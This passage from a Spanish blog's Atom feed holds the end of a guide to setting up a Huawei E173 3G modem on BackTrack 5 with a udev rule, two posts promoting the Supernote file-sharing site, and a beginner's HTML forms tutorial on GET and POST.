&#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Descargamos el&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://dl.dropbox.com/u/6532138/Linux.zip&quot; style=&quot;-webkit-transition: color 0.3s; background-color: white; color: #009eb8; display: inline; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; outline: none; text-align: justify; text-decoration: initial;&quot;&gt;archivo&lt;/a&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;&amp;nbsp;que subí a dropbox y lo descomprimimos&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;blockquote style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;
&lt;br /&gt;tar xvfz Linux.tar.gz&lt;/blockquote&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;entramos al directorio donde se descomprimieron los archivos y ejecutamos como root:&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;blockquote style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;
&lt;br /&gt;./install&lt;/blockquote&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Dejamos todo por default dando enter.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Perfecto, ahora si desconectamos el modem y lo volvemos a poner podremos ver que ya aparece en networkmanager es decir ya está reconocido como modem :D que felicidad y alegría, pero no cantemos victoria tan rápido, por que si intentamos conectar veremos que no lo hace :(&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Aquí es donde me di cuenta gracias a dmesg que crea 3 dispositivos (ttyUSB0 ttyUSB1 y ttyUSB2) lo cual me pareció muy extraño así que quise probar con todos pero network manager no me dio la opción de seleccionar cual quería, a instalar wvdial y a probar uno por uno, aleluya!!! /dev/ttyUSB2 si funciona, así que probé eliminando /dev/ttyUSB0 y creandolo como link simbólico a /dev/ttyUSB2.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Excelente!!! network manager conecta, pero no iba a estar creando el link simbólico cada que conectara el modem así que cree una última regla de udev.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; font-weight: bold; line-height: 19px; text-align: justify;&quot;&gt;3. La última y nos vamos.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Creamos el archivo /etc/udev/rules.d/50-myrules.rules (empieza con 50 por que udev lee los archivos de regla en orden alfabético y yo quería que esta regla fuera la última en ejecutarse, tu puedes ponerle el nombre que quieras a tu archivo) y agremamos el siguiente contenido:&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;blockquote style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;
&lt;br /&gt;KERNEL==&quot;ttyUSB2&quot;, RUN+=&quot;/bin/ln -sf /dev/ttyUSB2 /dev/ttyUSB0&quot;&lt;/blockquote&gt;
&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Listo, esto crea el link simbólico al detectar que se crea ttyUSB2, volvemos a reiniciar udev (si es necesario).&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Ahora cada vez que conectemos el modem estará listo para usarse :D.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;Esta es mi aportación, si tienen algún comentario o mejora al proceso estaré muy agradecido de que lo compartan.&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot; /&gt;&lt;blockquote style=&quot;background-color: white; color: #333333; font-family: &#39;Helvetica Neue Light&#39;, HelveticaNeue-Light, &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 14px; line-height: 19px; text-align: justify;&quot;&gt;
May the source be with you.&lt;/blockquote&gt;
[Fin Copia]&lt;br /&gt;
</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/1745397651167447826/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2013/02/3g-huawei-e173-backtrack-5.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/1745397651167447826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/1745397651167447826'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2013/02/3g-huawei-e173-backtrack-5.html' title='3G Huawei E173 Backtrack 5'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-3595727707243872325</id><published>2012-12-05T00:29:00.001+01:00</published><updated>2012-12-05T00:40:47.929+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="descargas"/><category scheme="http://www.blogger.com/atom/ns#" term="el megaupload español"/><category scheme="http://www.blogger.com/atom/ns#" term="español"/><category scheme="http://www.blogger.com/atom/ns#" term="megaupload"/><category scheme="http://www.blogger.com/atom/ns#" term="privacidad"/><category scheme="http://www.blogger.com/atom/ns#" term="web de descargas"/><title type='text'>El Megaupload Español</title><content type='html'>El megaupload español,&amp;nbsp;así&amp;nbsp;es como han descrito a &lt;a href=&quot;http://www.supernote.org/&quot;&gt;www.supernote.org&lt;/a&gt;&amp;nbsp;Es gracioso pero realmente esta web ofrecerá mucho mas que megaupload, mayor control sobre la&amp;nbsp;información&amp;nbsp; y suculentas recompensas por usarla y conseguir descargas en ella. Las&amp;nbsp;características&amp;nbsp;que hacen de este proyecto un proyecto muy ambicioso son las siguientes:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Total &lt;b&gt;Anonimato&lt;/b&gt; a la hora de subir y bajar ficheros.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;HTTPS&lt;/b&gt; &amp;nbsp;para evitar que nada ni nadie sepa que subes o bajas.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Recompensas&lt;/b&gt; en forma de &lt;b&gt;dinero&lt;/b&gt; o&amp;nbsp;suscripciones&amp;nbsp;premium gratis a dicha web.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Link&#39;s metamorficos&lt;/b&gt;, haciendo totalmente inrastreable el contenido subido, mediante un sistema de &lt;b&gt;redifusión&lt;/b&gt; (parecido a los retweets de twitter)&lt;/li&gt;
&lt;li&gt;La&amp;nbsp;&lt;b&gt;información&lt;/b&gt;&amp;nbsp;se almacena &lt;b&gt;encriptada&lt;/b&gt;, por un algoritmo propio, por lo que la web no se responsabiliza de la informacion que sea subida (música, pdf&#39;s, libros,&amp;nbsp;películas...)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Información&amp;nbsp;no indexable&lt;/b&gt; bajo demanda. El usuario podrá elegir si quiere que ese contenido sea visible a los buscadores o no.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Visitas limitadas o no&lt;/b&gt; a la&amp;nbsp;información, muy&amp;nbsp;útil&amp;nbsp;si quieres mandar un fichero al puro estilo&amp;nbsp;Misión&amp;nbsp;Imposible (este mensaje se autodestruira en 5 minutos). Solo que configurando las visitas que se quiere que tenga dicho archivo.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Registro simple&lt;/b&gt;, solo solicita email y password, no dejando mas datos innecesarios en la plataforma.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Esta web se presenta de manera muy ambiciosa en la red a nivel mundial, pero... ¿Será capaz de llevarlo a cabo? Yo pienso que si. Por si acaso yo ya me he apuntado a su newsletter para estar atento a las actualizaciones que vayan publicando.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Los inversores ya se&amp;nbsp;están&amp;nbsp;peleando por un pedazo de esta empresa en&amp;nbsp;&lt;a href=&quot;http://www.inverem.es/busco-inversores/12/471/supernote/#.UL6GvX9wEb0&quot;&gt;http://www.inverem.es/busco-inversores/12/471/supernote/#.UL6GvX9wEb0&lt;/a&gt;&amp;nbsp;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/3595727707243872325/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/12/el-megaupload-espanol.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3595727707243872325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3595727707243872325'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/12/el-megaupload-espanol.html' title='El Megaupload Español'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-3811336767174013128</id><published>2012-12-03T14:17:00.000+01:00</published><updated>2012-12-03T14:17:11.314+01:00</updated><title type='text'>Supernote, Compartiendo la Información de manera Segura.</title><content type='html'>&lt;br /&gt;
Buenos&amp;nbsp;días&amp;nbsp;gente, hoy vengo a hablaros de manera breve de una Web ( &lt;a href=&quot;http://www.supernote.org/&quot; target=&quot;_blank&quot;&gt;www.supernote.org&lt;/a&gt;&amp;nbsp;) que en pocos&amp;nbsp;días&amp;nbsp;saldrá a la luz, y viene a revolucionar la manera de compartir la&amp;nbsp;información.&lt;br /&gt;
&lt;br /&gt;
Básicamente&amp;nbsp;consta de lo siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Confidencialidad, nadie salvo la persona que ha subido conoce el contenido de lo que&amp;nbsp;subió&amp;nbsp;(tanto ficheros como una nota escrita)&lt;/li&gt;
&lt;li&gt;Configuración&amp;nbsp;de las visualizaciones de dicho contenido, esto nace para evitar que un archivo quede de manera perpetua en la web, hay veces que simplemente queremos mandarle un archivo a alguien pero no queremos que quede constancia de ello una vez dicha persona lo reciba. Fotos comprometedoras, una&amp;nbsp;canción&amp;nbsp;de tu nueva maqueta, un video...&lt;/li&gt;
&lt;li&gt;Configuración&amp;nbsp;de la visibilidad de dicha&amp;nbsp;información&amp;nbsp; pudiendo hacerla Indexable a los buscadores, o no Indexable para dejarla en las sombras.&lt;/li&gt;
&lt;li&gt;Configuración&amp;nbsp;de la privacidad, se puede especificar si el contenido será publico o privado, la diferencia será que para acceder a un contenido privado, hará falta una password, la cual desencriptara el contenido de la base de datos y&amp;nbsp;hará&amp;nbsp;dicha&amp;nbsp;información&amp;nbsp;legible de nuevo.&lt;/li&gt;
&lt;li&gt;Total anonimicidad, no es necesario registrarse en la pagina para descargar nada o subir nada, la&amp;nbsp;creación&amp;nbsp;de un usuario permitirá el tener reunida la&amp;nbsp;información&amp;nbsp;sobre los archivos que subes, y el sistema de premium recompensará las descargas llegado a un&amp;nbsp;mínimo.&lt;/li&gt;
&lt;li&gt;Acceso via https para evitar Man In The Middle.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Por contra el unico inconveniente (que no es tal...) es que el tamaño maximo de archivos será de 10 Mb... La pregunta es, por qué tan poco? Pues está claro, $$€€ Dinero!, Megaupload contaba con 25 Petabytes en discos duros, haciendo un calculo aproximado de lo que cuesta eso son aproximadamente 70 millones de €.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Como conseguir eso, es&amp;nbsp;prácticamente&amp;nbsp;es imposible, el producto empezará con 10 Mb o 20 Quizá lo que es mas que suficiente para compartir&amp;nbsp;información&amp;nbsp;personal y de empresa, y si es aceptado y se consigue&amp;nbsp;financiación&amp;nbsp;ese espacio irá creciendo.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Se está recaudando dinero para la&amp;nbsp;creación&amp;nbsp;del proyecto. La web y todo el sistema funcional está al 70% y estará funcionando en un servidor &quot;alquilado&quot; a Hostgator en el cual estará hasta recaudar dinero suficiente para montar la infraestructura necesaria para&amp;nbsp;hacerlo&amp;nbsp;real.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Os dejo la web en la que estamos buscando financiacion, gracias:&amp;nbsp;&lt;a href=&quot;http://www.inverem.es/busco-inversores/12/471/supernote/&quot; target=&quot;_blank&quot;&gt;http://www.inverem.es/busco-inversores/12/471/supernote/&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Un saludo, y volveremos por aquí.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/3811336767174013128/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/12/supernote-compartiendo-la-informacion.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3811336767174013128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3811336767174013128'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/12/supernote-compartiendo-la-informacion.html' title='Supernote, Compartiendo la Información de manera Segura.'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-3058611247796463064</id><published>2012-11-02T14:35:00.000+01:00</published><updated>2012-11-02T14:35:53.789+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="action"/><category scheme="http://www.blogger.com/atom/ns#" term="form"/><category scheme="http://www.blogger.com/atom/ns#" term="formulario html"/><category scheme="http://www.blogger.com/atom/ns#" term="formularios"/><category scheme="http://www.blogger.com/atom/ns#" term="html"/><category scheme="http://www.blogger.com/atom/ns#" term="input"/><category scheme="http://www.blogger.com/atom/ns#" term="method"/><title type='text'>Formularios HTML explicación sencilla! (parte 1 de 2)</title><content type='html'>Para continuar con las explicaciones de las cosillas que nos van &quot;enseñando&quot; en la FP y los trabajillos que nos van mandando, hoy voy a explicar como funciona un formulario como se crea y que elementos tiene.&lt;br /&gt;
&lt;br /&gt;
Para empezar comentaré que el formulario son etiquetas html al igual que todo el&amp;nbsp;código&amp;nbsp;html (redundante eh!), y su emplazamiento siempre sera dentro de las dos etiquetas de &amp;lt;body&amp;gt;&amp;lt;/body&amp;gt;, pudiendo permanecer dentro de otras etiquetas contenedoras o no.&lt;br /&gt;
&lt;br /&gt;
Dicho esto vamos a ver la etiqueta que define un formulario se trata de &amp;lt;form&amp;gt;&amp;lt;/form&amp;gt;. Evidentemente si no la pasamos mas atributos pues esta etiqueta no hace mucho... El formulario que se crea es algo invisible, y lo&amp;nbsp;único&amp;nbsp;que viene a decir es que las etiquetas que vayan entre medias&amp;nbsp;serán&amp;nbsp;las utilizadas en dicho formulario.&lt;br /&gt;
&lt;br /&gt;
Al formulario form hay que pasarle como&amp;nbsp;mínimo&amp;nbsp;2 atributos, que son &quot;action&quot; y &quot;method&quot;, y un tercero opcional &quot;name&quot;. Expongo la sintaxis y ahora explico para que sirve cada uno, que opino que es mas&amp;nbsp;fácil:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;form action=&quot;Pagina_Que_Recibe_La_Informacion_Mandada.html&quot; method=&quot;post&quot; name=&quot;primer-formulario&quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Name: El atributo name es para darle un nombre al formulario (sencillo no?)&lt;/li&gt;
&lt;li&gt;Action: En este atributo le especificamos la pagina web a la que le pasaremos el contenido del formulario para que trate los datos. Hay que especificar bien la ruta, en este caso si estuviera en otra carpeta o un servidor aparte&amp;nbsp;habría&amp;nbsp;que ponerlo, pero como la web a la que va a llegar nuestro formulario esta en la misma carpeta con poner el nombre basta.&lt;/li&gt;
&lt;li&gt;Method:&amp;nbsp;Aquí&amp;nbsp;se pueden pasar dos valores o &quot;post&quot; o &quot;get&quot;, por defecto cualquier formulario se recomienda ponerlo en post. ¿Cual es la diferencia? os preguntareis, pues bien la diferencia es simple, si pones get, el contenido del formulario se le pasara por la&amp;nbsp;dirección&amp;nbsp;de la web, es decir si tenemos un formulario con nombre y apellidos, la web a la que seriamos redirigidos al pulsar el&amp;nbsp;botón&amp;nbsp;enviar, seria: &quot;Pagina_Que_Recibe_La_Informacion_Mandada.html?nombre=pepe&amp;amp;apellidos=gonzalez&quot;. A que esto os suena mas, de cuando vais navegando por internet y veis estos&amp;nbsp;parámetros&amp;nbsp;en la barra del navegador, pues bien esos&amp;nbsp;parámetros&amp;nbsp;son variables GET y se&amp;nbsp;envían&amp;nbsp;concatenadas a la&amp;nbsp;dirección&amp;nbsp;de la pagina web y separadas siempre por un &amp;amp;. Por el contrario con POST, todo queda transparente para el usuario, y solo se añade en la peticion HTML exactamente de la misma forma pero sin que aparezca en el navegador. No creo que a nadie le gustara ver en el navegador &quot;http://www.gmail.com/?user=paco&amp;amp;password=porras&quot; (los Login de las paginas no dejan de ser formularios)&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Bueno creo que me explayé un poco en la&amp;nbsp;explicación, pero mejor dejarlo claro desde el principio, y si aun&amp;nbsp;así&amp;nbsp;os queda alguna duda,&amp;nbsp;podéis&amp;nbsp;comentar y os la resuelvo encantado.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Hasta&amp;nbsp;aquí&amp;nbsp;la primera parte, esta tarde viene la segunda, que son los elementos que pueden ir dentro de la etiqueta &amp;lt;form&amp;gt; (es que sino queda un post un poco largo).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Lo dicho, si&amp;nbsp;necesitáis&amp;nbsp;algún&amp;nbsp;tipo de ayuda, por&amp;nbsp;aquí&amp;nbsp;ando.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/3058611247796463064/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/11/formularios-html-explicacion-sencilla.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3058611247796463064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/3058611247796463064'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2012/11/formularios-html-explicacion-sencilla.html' title='Formularios HTML explicación sencilla! (parte 1 de 2)'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-2750519498801264604</id><published>2012-10-25T11:23:00.004+02:00</published><updated>2012-10-25T11:25:02.024+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="bases de datos"/><category scheme="http://www.blogger.com/atom/ns#" term="diseño de base de datos"/><category scheme="http://www.blogger.com/atom/ns#" term="entidad"/><category scheme="http://www.blogger.com/atom/ns#" term="entidad-relación"/><category scheme="http://www.blogger.com/atom/ns#" term="modelo"/><category 